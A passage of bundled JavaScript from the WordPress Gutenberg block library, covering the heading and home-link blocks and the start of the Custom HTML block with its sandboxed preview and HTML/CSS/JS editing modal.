      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(TagName2, { ...import_block_editor101.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_block_editor101.RichText.Content, { value: content }) });
    }
  };
  var v53 = {
    supports: {
      align: ["wide", "full"],
      anchor: true,
      className: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontAppearance: true,
          textTransform: true
        }
      },
      __experimentalSelector: "h1,h2,h3,h4,h5,h6",
      __unstablePasteTextInline: true,
      __experimentalSlashInserter: true
    },
    attributes: {
      textAlign: {
        type: "string"
      },
      content: {
        type: "string",
        source: "html",
        selector: "h1,h2,h3,h4,h5,h6",
        default: "",
        role: "content"
      },
      level: {
        type: "number",
        default: 2
      },
      placeholder: {
        type: "string"
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content, level } = attributes2;
      const TagName2 = "h" + level;
      const className = clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(TagName2, { ...import_block_editor101.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_block_editor101.RichText.Content, { value: content }) });
    },
    migrate: (attributes2) => migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    )
  };
  var v63 = {
    supports: {
      align: ["wide", "full"],
      anchor: true,
      className: true,
      splitting: true,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalWritingMode: true,
        fitText: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSlashInserter: true,
      interactivity: {
        clientNavigation: true
      }
    },
    attributes: {
      textAlign: {
        type: "string"
      },
      content: {
        type: "string",
        source: "html",
        selector: "h1,h2,h3,h4,h5,h6",
        default: "",
        role: "content"
      },
      level: {
        type: "number",
        default: 2
      },
      levelOptions: {
        type: "array"
      },
      placeholder: {
        type: "string"
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content, level } = attributes2;
      const TagName2 = "h" + level;
      const className = clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(TagName2, { ...import_block_editor101.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_block_editor101.RichText.Content, { value: content }) });
    },
    migrate: (attributes2) => migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated9 = [v63, v53, v43, v34, v29, v118];
  var deprecated_default21 = deprecated9;

  // packages/block-library/build-module/heading/edit.mjs
  var import_i18n80 = __toESM(require_i18n(), 1);
  var import_element36 = __toESM(require_element(), 1);
  var import_data41 = __toESM(require_data(), 1);
  var import_block_editor102 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/heading/autogenerate-anchors.mjs
  var import_remove_accents3 = __toESM(require_remove_accents(), 1);
  var anchors = {};
  var getTextWithoutMarkup = (text) => {
    const dummyElement = document.createElement("div");
    dummyElement.innerHTML = text;
    return dummyElement.innerText;
  };
  var getSlug = (content) => {
    return (0, import_remove_accents3.default)(getTextWithoutMarkup(content)).replace(/[^\p{L}\p{N}]+/gu, "-").toLowerCase().replace(/(^-+)|(-+$)/g, "");
  };
  var generateAnchor = (clientId, content) => {
    const slug = getSlug(content);
    if ("" === slug) {
      return null;
    }
    delete anchors[clientId];
    let anchor = slug;
    let i2 = 0;
    while (Object.values(anchors).includes(anchor)) {
      i2 += 1;
      anchor = slug + "-" + i2;
    }
    return anchor;
  };
  var setAnchor = (clientId, anchor) => {
    anchors[clientId] = anchor;
  };

  // packages/block-library/build-module/heading/edit.mjs
  var import_jsx_runtime264 = __toESM(require_jsx_runtime(), 1);
  function HeadingEdit(props) {
    const {
      attributes: attributes2,
      setAttributes,
      mergeBlocks,
      onReplace,
      style: style2,
      clientId
    } = props;
    useDeprecatedTextAlign(props);
    const { content, level, placeholder: placeholder2, anchor } = attributes2;
    const tagName = "h" + level;
    const blockProps = (0, import_block_editor102.useBlockProps)({
      style: style2
    });
    const { canGenerateAnchors } = (0, import_data41.useSelect)((select9) => {
      const { getGlobalBlockCount, getSettings: getSettings2 } = select9(import_block_editor102.store);
      const settings122 = getSettings2();
      return {
        canGenerateAnchors: !!settings122.generateAnchors || getGlobalBlockCount("core/table-of-contents") > 0
      };
    }, []);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data41.useDispatch)(import_block_editor102.store);
    (0, import_element36.useEffect)(() => {
      if (!canGenerateAnchors) {
        return;
      }
      if (!anchor && content) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          anchor: generateAnchor(clientId, content)
        });
      }
      setAnchor(clientId, anchor);
      return () => setAnchor(clientId, null);
    }, [anchor, content, clientId, canGenerateAnchors]);
    const onContentChange = (value) => {
      const newAttrs = { content: value };
      if (canGenerateAnchors && (!anchor || !value || generateAnchor(clientId, content) === anchor)) {
        newAttrs.anchor = generateAnchor(clientId, value);
      }
      setAttributes(newAttrs);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(import_jsx_runtime264.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(
      import_block_editor102.RichText,
      {
        identifier: "content",
        tagName,
        value: content,
        onChange: onContentChange,
        onMerge: mergeBlocks,
        onReplace,
        onRemove: () => onReplace([]),
        placeholder: placeholder2 || (0, import_i18n80.__)("Heading"),
        ...import_element36.Platform.isNative && { deleteEnter: true },
        ...blockProps
      }
    ) });
  }
  var edit_default16 = HeadingEdit;

  // packages/block-library/build-module/heading/block.json
  var block_default40 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/heading",
    title: "Heading",
    category: "text",
    description: "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.",
    keywords: ["title", "subtitle"],
    textdomain: "default",
    attributes: {
      content: {
        type: "rich-text",
        source: "rich-text",
        selector: "h1,h2,h3,h4,h5,h6",
        role: "content"
      },
      level: {
        type: "number",
        default: 2
      },
      levelOptions: {
        type: "array"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      align: ["wide", "full"],
      anchor: true,
      className: true,
      splitting: true,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalWritingMode: true,
        fitText: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSlashInserter: true,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-heading-editor",
    style: "wp-block-heading"
  };

  // packages/block-library/build-module/heading/save.mjs
  var import_block_editor103 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime265 = __toESM(require_jsx_runtime(), 1);
  function save23({ attributes: attributes2 }) {
    const { content, level } = attributes2;
    const TagName2 = "h" + level;
    return /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(TagName2, { ...import_block_editor103.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(import_block_editor103.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/heading/transforms.mjs
  var import_blocks34 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/heading/shared.mjs
  function getLevelFromHeadingNodeName(nodeName) {
    return Number(nodeName.substr(1));
  }

  // packages/block-library/build-module/heading/transforms.mjs
  var transforms11 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["core/paragraph"],
        transform: (attributes2) => attributes2.map((_attributes) => {
          const { content, anchor, style: style2 } = _attributes;
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks34.createBlock)("core/heading", {
            ...getTransformedAttributes(
              _attributes,
              "core/heading",
              ({ content: contentBinding }) => ({
                content: contentBinding
              })
            ),
            content,
            anchor,
            ...textAlign && {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        })
      },
      {
        type: "raw",
        selector: "h1,h2,h3,h4,h5,h6",
        schema: ({ phrasingContentSchema, isPaste }) => {
          const schema2 = {
            children: phrasingContentSchema,
            attributes: isPaste ? [] : ["style", "id"]
          };
          return {
            h1: schema2,
            h2: schema2,
            h3: schema2,
            h4: schema2,
            h5: schema2,
            h6: schema2
          };
        },
        transform(node) {
          const attributes2 = (0, import_blocks34.getBlockAttributes)(
            "core/heading",
            node.outerHTML
          );
          const { textAlign } = node.style || {};
          attributes2.level = getLevelFromHeadingNodeName(node.nodeName);
          if (textAlign === "left" || textAlign === "center" || textAlign === "right") {
            attributes2.style = {
              ...attributes2.style,
              typography: {
                ...attributes2.style?.typography,
                textAlign
              }
            };
          }
          return (0, import_blocks34.createBlock)("core/heading", attributes2);
        }
      },
      ...[1, 2, 3, 4, 5, 6].map((level) => ({
        type: "prefix",
        prefix: Array(level + 1).join("#"),
        transform(content) {
          return (0, import_blocks34.createBlock)("core/heading", {
            level,
            content
          });
        }
      })),
      ...[1, 2, 3, 4, 5, 6].map((level) => ({
        type: "enter",
        regExp: new RegExp(`^/(h|H)${level}$`),
        transform: () => (0, import_blocks34.createBlock)("core/heading", { level })
      }))
    ],
    to: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["core/paragraph"],
        transform: (attributes2) => attributes2.map((_attributes) => {
          const { content, style: style2 } = _attributes;
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks34.createBlock)("core/paragraph", {
            ...getTransformedAttributes(
              _attributes,
              "core/paragraph",
              ({ content: contentBinding }) => ({
                content: contentBinding
              })
            ),
            content,
            ...textAlign && {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        })
      }
    ]
  };
  var transforms_default12 = transforms11;

  // packages/block-library/build-module/heading/variations.mjs
  var import_i18n81 = __toESM(require_i18n(), 1);
  var LEVEL_ICONS = [
    heading_level_1_default,
    heading_level_2_default,
    heading_level_3_default,
    heading_level_4_default,
    heading_level_5_default,
    heading_level_6_default
  ];
  var variations9 = [
    ...[1, 2, 3, 4, 5, 6].map((level) => ({
      name: `h${level}`,
      title: (0, import_i18n81.sprintf)(
        /* translators: %d: heading level e.g: "1", "2", "3" */
        (0, import_i18n81.__)("Heading %d"),
        level
      ),
      description: (0, import_i18n81.__)(
        "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content."
      ),
      icon: LEVEL_ICONS[level - 1],
      attributes: { level },
      scope: ["block", "transform"],
      keywords: [`h${level}`],
      isActive: (blockAttributes8) => blockAttributes8.level === level
    }))
  ];
  var variations_default9 = variations9;

  // packages/block-library/build-module/heading/index.mjs
  var { fieldsKey: fieldsKey7, formKey: formKey7 } = unlock(import_blocks35.privateApis);
  var { name: name40 } = block_default40;
  var settings40 = {
    icon: heading_default,
    example: {
      attributes: {
        content: (0, import_i18n82.__)("Code is Poetry"),
        level: 2,
        style: {
          typography: {
            textAlign: "center"
          }
        }
      }
    },
    __experimentalLabel(attributes2, { context }) {
      const { content, level } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasContent = content?.trim().length > 0;
      if (context === "list-view" && (customName || hasContent)) {
        return customName || content;
      }
      if (context === "breadcrumb" && customName) {
        return customName;
      }
      if (context === "accessibility") {
        return !hasContent ? (0, import_i18n82.sprintf)(
          /* translators: accessibility text. %s: heading level. */
          (0, import_i18n82.__)("Level %s. Empty."),
          level
        ) : (0, import_i18n82.sprintf)(
          /* translators: accessibility text. 1: heading level. 2: heading content. */
          (0, import_i18n82.__)("Level %1$s. %2$s"),
          level,
          content
        );
      }
    },
    transforms: transforms_default12,
    deprecated: deprecated_default21,
    merge(attributes2, attributesToMerge) {
      return {
        content: (attributes2.content || "") + (attributesToMerge.content || "")
      };
    },
    edit: edit_default16,
    save: save23,
    variations: variations_default9
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings40[fieldsKey7] = [
      {
        id: "content",
        label: (0, import_i18n82.__)("Content"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings40[formKey7] = {
      fields: ["content"]
    };
  }
  var init40 = () => {
    const block = initBlock({ name: name40, metadata: block_default40, settings: settings40 });
    const levelOptions = (0, import_blocks35.getBlockType)(name40)?.attributes?.levelOptions?.default;
    if (levelOptions) {
      [1, 2, 3, 4, 5, 6].forEach((level) => {
        if (!levelOptions.includes(level)) {
          (0, import_blocks35.unregisterBlockVariation)(name40, `h${level}`);
        }
      });
    }
    return block;
  };

  // packages/block-library/build-module/home-link/index.mjs
  var home_link_exports = {};
  __export(home_link_exports, {
    init: () => init41,
    metadata: () => block_default41,
    name: () => name41,
    settings: () => settings41
  });
  var import_i18n84 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/home-link/block.json
  var block_default41 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/home-link",
    category: "design",
    parent: ["core/navigation"],
    title: "Home Link",
    description: "Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.",
    textdomain: "default",
    attributes: {
      label: {
        type: "string",
        role: "content"
      }
    },
    usesContext: [
      "textColor",
      "customTextColor",
      "backgroundColor",
      "customBackgroundColor",
      "fontSize",
      "customFontSize",
      "style"
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-home-link-editor",
    style: "wp-block-home-link"
  };

  // packages/block-library/build-module/home-link/edit.mjs
  var import_block_editor104 = __toESM(require_block_editor(), 1);
  var import_i18n83 = __toESM(require_i18n(), 1);
  var import_data42 = __toESM(require_data(), 1);
  var import_core_data21 = __toESM(require_core_data(), 1);
  var import_jsx_runtime266 = __toESM(require_jsx_runtime(), 1);
  var preventDefault = (event) => event.preventDefault();
  function HomeEdit({ attributes: attributes2, setAttributes, context }) {
    const homeUrl = (0, import_data42.useSelect)((select9) => {
      return select9(import_core_data21.store).getEntityRecord("root", "__unstableBase")?.home;
    }, []);
    const { textColor, backgroundColor, style: style2 } = context;
    const blockProps = (0, import_block_editor104.useBlockProps)({
      className: clsx_default("wp-block-navigation-item", {
        "has-text-color": !!textColor || !!style2?.color?.text,
        [`has-${textColor}-color`]: !!textColor,
        "has-background": !!backgroundColor || !!style2?.color?.background,
        [`has-${backgroundColor}-background-color`]: !!backgroundColor
      }),
      style: {
        color: style2?.color?.text,
        backgroundColor: style2?.color?.background
      }
    });
    return /* @__PURE__ */ (0, import_jsx_runtime266.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(
      "a",
      {
        className: "wp-block-home-link__content wp-block-navigation-item__content",
        href: homeUrl,
        onClick: preventDefault,
        children: /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(
          import_block_editor104.RichText,
          {
            identifier: "label",
            className: "wp-block-home-link__label",
            value: attributes2.label ?? (0, import_i18n83.__)("Home"),
            onChange: (labelValue) => {
              setAttributes({ label: labelValue });
            },
            "aria-label": (0, import_i18n83.__)("Home link text"),
            placeholder: (0, import_i18n83.__)("Add home link"),
            withoutInteractiveFormatting: true
          }
        )
      }
    ) });
  }

  // packages/block-library/build-module/home-link/save.mjs
  var import_block_editor105 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime267 = __toESM(require_jsx_runtime(), 1);
  function save24() {
    return /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(import_block_editor105.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/home-link/index.mjs
  var { name: name41 } = block_default41;
  var settings41 = {
    icon: home_default,
    edit: HomeEdit,
    save: save24,
    example: {
      attributes: {
        label: (0, import_i18n84._x)("Home Link", "block example")
      }
    }
  };
  var init41 = () => initBlock({ name: name41, metadata: block_default41, settings: settings41 });

  // packages/block-library/build-module/html/index.mjs
  var html_exports = {};
  __export(html_exports, {
    init: () => init42,
    metadata: () => block_default42,
    name: () => name42,
    settings: () => settings42
  });
  var import_i18n88 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/html/edit.mjs
  var import_i18n87 = __toESM(require_i18n(), 1);
  var import_element39 = __toESM(require_element(), 1);
  var import_block_editor108 = __toESM(require_block_editor(), 1);
  var import_components49 = __toESM(require_components(), 1);

  // packages/block-library/build-module/html/preview.mjs
  var import_element37 = __toESM(require_element(), 1);
  var import_block_editor106 = __toESM(require_block_editor(), 1);
  var import_components47 = __toESM(require_components(), 1);
  var import_data43 = __toESM(require_data(), 1);
  var import_i18n85 = __toESM(require_i18n(), 1);
  var import_jsx_runtime268 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_STYLES = `
	html,body,:root {
		margin: 0 !important;
		padding: 0 !important;
		overflow: visible !important;
		min-height: auto !important;
	}
`;
  function HTMLEditPreview({ content, isSelected }) {
    const settingStyles = (0, import_data43.useSelect)(
      (select9) => select9(import_block_editor106.store).getSettings().styles,
      []
    );
    const styles = (0, import_element37.useMemo)(
      () => [
        DEFAULT_STYLES,
        ...(0, import_block_editor106.transformStyles)(
          (settingStyles ?? []).filter((style2) => style2.css)
        )
      ],
      [settingStyles]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime268.jsxs)(import_jsx_runtime268.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(
        import_components47.SandBox,
        {
          html: content,
          styles,
          title: (0, import_i18n85.__)("Custom HTML Preview"),
          tabIndex: -1
        }
      ),
      !isSelected && /* @__PURE__ */ (0, import_jsx_runtime268.jsx)("div", { className: "block-library-html__preview-overlay" })
    ] });
  }

  // packages/block-library/build-module/html/modal.mjs
  var import_i18n86 = __toESM(require_i18n(), 1);
  var import_element38 = __toESM(require_element(), 1);
  var import_data44 = __toESM(require_data(), 1);
  var import_components48 = __toESM(require_components(), 1);
  var import_block_editor107 = __toESM(require_block_editor(), 1);
  var import_compose20 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/html/utils.mjs
  function parseContent(content = "") {
    if (!content || !content.trim()) {
      return { html: "", css: "", js: "" };
    }
    const doc = document.implementation.createHTMLDocument("");
    doc.body.innerHTML = content;
    const styleTag = doc.body.querySelector(
      'style[data-wp-block-html="css"]'
    );
    const css = styleTag ? styleTag.textContent.trim() : "";
    if (styleTag) {
      styleTag.remove();
    }
    const scriptTag = doc.body.querySelector(
      'script[data-wp-block-html="js"]'
    );
    const js = scriptTag ? scriptTag.textContent.trim() : "";
    if (scriptTag) {
      scriptTag.remove();
    }
    const html = doc.body.innerHTML.trim();
    return { html, css, js };
  }
  function serializeContent({ html = "", css = "", js = "" }) {
    const parts = [];
    if (css.trim()) {
      parts.push(`<style data-wp-block-html="css">
${css}
</style>`);
    }
    if (js.trim()) {
      parts.push(`<script data-wp-block-html="js">
${js}
<\/script>`);
    }
    if (html.trim()) {
      parts.push(html);
    }
    return parts.join("\n\n");
  }

  // packages/block-library/build-module/html/modal.mjs
  var import_jsx_runtime269 = __toESM(require_jsx_runtime(), 1);
  var { Tabs } = unlock(import_components48.privateApis);
  function HTMLEditModal({
    isOpen,
    onRequestClose,
    content,
    setAttributes
  }) {
    const { html, css, js } = parseContent(content);
    const [editedHtml, setEditedHtml] = (0, import_element38.useState)(html);
    const [editedCss, setEditedCss] = (0, import_element38.useState)(css);
    const [editedJs, setEditedJs] = (0, import_element38.useState)(js);
    const [isFullscreen, setIsFullscreen] = (0, import_element38.useState)(false);
    const isMobileViewport = (0, import_compose20.useViewportMatch)("small", "<");
    const { canUserUseUnfilteredHTML } = (0, import_data44.useSelect)((select9) => {
      const settings122 = select9(import_block_editor107.store).getSettings();
      return {
        canUserUseUnfilteredHTML: settings122.__experimentalCanUserUseUnfilteredHTML
      };
    }, []);
    const hasRestrictedContent = !canUserUseUnfilteredHTML && (css.trim() || js.trim());
    if (!isOpen) {
      return null;
    }
    const handleUpdate = () => {
      setAttributes({
        content: serializeContent({
          html: editedHtml,
          css: canUserUseUnfilteredHTML ? editedCss : "",
          js: canUserUseUnfilteredHTML ? editedJs : ""
        })
      });
    };
    const handleUpdateAndClose = () => {
      handleUpdate();
      onRequestClose();
    };
    const toggleFullscreen = () => {
      setIsFullscreen((prevState) => !prevState);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(import_jsx_runtime269.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
      import_components48.Modal,
      {
        title: (0, import_i18n86.__)("Edit HTML"),
        onRequestClose,
        className: "block-library-html__modal",
        size: "large",
        isDismissible: false,
        shouldCloseOnClickOutside: false,
        isFullScreen: isFullscreen,
        __experimentalHideHeader: true,
        children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs, { orientation: "horizontal", defaultTabId: "html", children: /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(import_components48.__experimentalVStack, { expanded: true, children: [
          /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(
            import_components48.__experimentalHStack,
            {
              justify: "space-between",
              className: "block-library-html__modal-header",
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)("div", { children: /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(Tabs.TabList, { children: [
                  /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs.Tab, { tabId: "html", children: "HTML" }),
                  canUserUseUnfilteredHTML && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs.Tab, { tabId: "css", children: "CSS" }),
                  canUserUseUnfilteredHTML && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs.Tab, { tabId: "js", children: (0, import_i18n86.__)("JavaScript") })
                ] }) }),
                !isMobileViewport && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)("div", { children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  import_components48.Button,
                  {
                    __next40pxDefaultSize: true,
                    icon: isFullscreen ? square_default : fullscreen_default,
                    label: (0, import_i18n86.__)(
                      "Enable/disable fullscreen"
                    ),
                    onClick: toggleFullscreen,
                    variant: "tertiary"
                  }
                ) })
              ]
            }
          ),
          hasRestrictedContent && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
            import_components48.Notice,
            {
              status: "warning",
              isDismissible: false,
              className: "block-library-html__modal-notice",
              children: (0, import_i18n86.__)(
                "This block contains CSS or JavaScript that will be removed when you save because you do not have permission to use unfiltered HTML."
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(
            import_components48.Flex,
            {
              direction: isMobileViewport ? "column" : "row",
              className: "block-library-html__modal-tabs",
              align: "stretch",
              gap: 8,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)("div", { className: "block-library-html__modal-content", children: [
                  /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                    Tabs.TabPanel,
                    {
                      tabId: "html",
                      focusable: false,
                      className: "block-library-html__modal-tab",
                      children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                        import_block_editor107.PlainText,
                        {
                          value: editedHtml,
                          onChange: setEditedHtml,
                          placeholder: (0, import_i18n86.__)("Write HTML\u2026"),
                          "aria-label": (0, import_i18n86.__)("HTML"),
                          className: "block-library-html__modal-editor",
                          async: true
                        }
                      )
                    }
                  ),
                  canUserUseUnfilteredHTML && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                    Tabs.TabPanel,
                    {
                      tabId: "css",
                      focusable: false,
                      className: "block-library-html__modal-tab",
                      children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                        import_block_editor107.PlainText,
                        {
                          value: editedCss,
                          onChange: setEditedCss,
                          placeholder: (0, import_i18n86.__)("Write CSS\u2026"),
                          "aria-label": (0, import_i18n86.__)("CSS"),
                          className: "block-library-html__modal-editor",
                          async: true
                        }
                      )
                    }
                  ),
                  canUserUseUnfilteredHTML && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                    Tabs.TabPanel,
                    {
                      tabId: "js",
                      focusable: false,
                      className: "block-library-html__modal-tab",
                      children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                        import_block_editor107.PlainText,
                        {
                          value: editedJs,
                          onChange: setEditedJs,
                          placeholder: (0, import_i18n86.__)(
                            "Write JavaScript\u2026"
                          ),
                          "aria-label": (0, import_i18n86.__)("JavaScript"),
                          className: "block-library-html__modal-editor",
                          async: true
                        }
                      )
                    }
                  )
                ] }),
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)("div", { className: "block-library-html__preview", children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  HTMLEditPreview,
                  {
                    content: serializeContent({
                      html: editedHtml,
                      css: editedCss,
                      js: editedJs
                    })
                  }
                ) })
              ]
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(
            import_components48.__experimentalHStack,
            {
              alignment: "center",
              justify: "flex-end",
              spacing: 4,
              className: "block-library-html__modal-footer",
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  import_components48.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: "tertiary",
                    onClick: onRequestClose,
                    children: (0, import_i18n86.__)("Cancel")
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  import_components48.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: "primary",
                    onClick: handleUpdateAndClose,
                    children: (0, import_i18n86.__)("Update")
                  }
                )
              ]
            }
          )
        ] }) })
      }
    ) });
  }

  // packages/block-library/build-module/html/edit.mjs
  var import_jsx_runtime270 = __toESM(require_jsx_runtime(), 1);
  function HTMLEdit({ attributes: attributes2, setAttributes, isSelected }) {
    const [isModalOpen, setIsModalOpen] = (0, import_element39.useState)(false);
    const blockProps = (0, import_block_editor108.useBlockProps)({
      className: "block-library-html__edit"
    });
    if (!attributes2.content?.trim()) {
      return /* @__PURE__ */ (0, import_jsx_runtime270.jsxs)("div", { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
          import_components49.Placeholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_block_editor108.BlockIcon, { icon: code_default }),
            label: (0, import_i18n87.__)("Custom HTML"),
            instructions: (0, import_i18n87.__)(
              "Add custom HTML code and preview how it looks."
            ),
            children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
              import_components49.Button,
              {
                __next40pxDefaultSize: true,
                variant: "primary",
                onClick: () => setIsModalOpen(true),
                children: (0, import_i18n87.__)("Edit HTML")
              }
            )
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
          HTMLEditModal,
          {
            isOpen: isModalOpen,
            onRequestClose: () => setIsModalOpen(false),
            content: attributes2.content,
            setAttributes
          }
        )
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime270.jsxs)("div", { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_block_editor108.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_components49.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_components49.ToolbarButton, { onClick: () => setIsModalOpen(true), children: (0, import_i18n87.__)("Edit code") }) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_block_editor108.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
        import_components49.__experimentalVStack,
        {
          className: "block-editor-block-inspector-edit-contents",
          expanded: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
            import_components49.Button,
            {
              className: "block-editor-block-inspector-edit-contents__button",
              __next40pxDefaultSize: true,
              variant: "secondary",
              onClick: () => setIsModalOpen(true),
              children: (0, import_i18n87.__)("Edit code")
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(HTMLEditPreview, { content: attributes2.content, isSelected }),
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
        HTMLEditModal,
        {
          isOpen: isModalOpen,
          onRequestClose: () => setIsModalOpen(false),
          content: attributes2.content,
          setAttributes
        }
      )
    ] });
  }

  // packages/block-library/build-module/html/block.json
  var block_default42 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/html",
    title: "Custom HTML",
